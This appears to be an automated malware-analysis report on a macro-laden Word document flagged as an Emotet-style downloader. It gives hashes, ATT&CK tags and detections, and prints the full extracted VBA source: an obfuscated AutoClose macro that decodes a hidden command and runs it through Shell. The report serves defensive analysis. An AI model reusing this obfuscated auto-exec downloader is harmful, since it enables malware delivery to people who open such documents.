Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ae81c89e16a9e3fb…

MALICIOUS

Office (OOXML)

53.4 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-31
MD5: 147b20ddc572866fe34695b79fb70047 SHA-1: b5c236c5040ecf8c24a09c47ae73307953fc130f SHA-256: ae81c89e16a9e3fbff5b2054441c090afdf659470127b79f9662a5a12732049c
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

This OOXML document contains VBA macros, including an AutoClose macro, which is a common technique for malicious documents. The script uses a custom obfuscation function 'strutter' and then calls Application.Run with a constructed string, indicating an attempt to execute a command. This behavior, combined with ClamAV detections, strongly suggests the document is a downloader for a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1982 bytes
SHA-256: 3057c4535543bb1c27705d1a227f9948449bc9270617d26ff94a2f7556395736
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function strutter(jugger)
  punkey = Array("j", "f", "h", "C", "4", "m", "c", "p", "7", "E", "R", "u", "w", "M", "y", "v", "J", "", "z", "2", "d", "S", "W", "K", "i", "Z", "Q")
  puelche = Array(":", " ", "?", "e", "P", "t", ".", "x", "n", "i", "j", "b", "w", "a", "u", "q", "f", "h", "R", "s", "p", "/", "=", "m", "G", "c", "o")
  
  manomin = vbNullString
  
  For Each grivets In jugger
    winrow = alaskite(grivets, punkey)
    If winrow > -1 Then
    manomin = puelche(winrow) + manomin
    End If
  Next
  
  strutter = StrReverse(manomin)
  
End Function

Public Function alaskite(clozapine, rootedness)
  hippocratea = 5521
  baldicoot = 7919
  For hippocratea = 0 To UBound(rootedness)
    If rootedness(hippocratea) = clozapine And hippocratea > -1 Then
     baldicoot = hippocratea
    End If
  Next

  If baldicoot = 7919 Then
    baldicoot = -1
  End If
  
  alaskite = baldicoot
End Function


Sub AutoClose()
  jugger = Array("K", "2", "", "m", "M", "c", "C", "p", "C", "f", "", "m", "m", "d", "j", "S", "S", "Q", "v", "E", "R", "w", "y", "7", "C", "v", "M", "2", "Z", "u", "v", "w", "C", "C", "c", "Z", "Q", "K", "S", "z", "4", "i", "S", "2", "Q", "J", "c", "d", "", "d", "h", "y", "m", "K", "M", "W", "Q", "d", "2")
  outbrags = strutter(jugger)
  
  Application.Run "bizen", (outbrags)
  
End Sub


Private Sub bizen(windswept)
   
   torts = 16202
   abscissae = True
   
   While abscissae
     causticize = torts + 717
     If causticize - torts > 1 Then
       desmodont = worshipfully + "ll"
       Call VBA.Shell(windswept, vbNormalFocus - 1)
       abscissae = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: a2ce2b859f764e0a246012aa2ae556a369e4fea065def5f59382f5819b0202fe
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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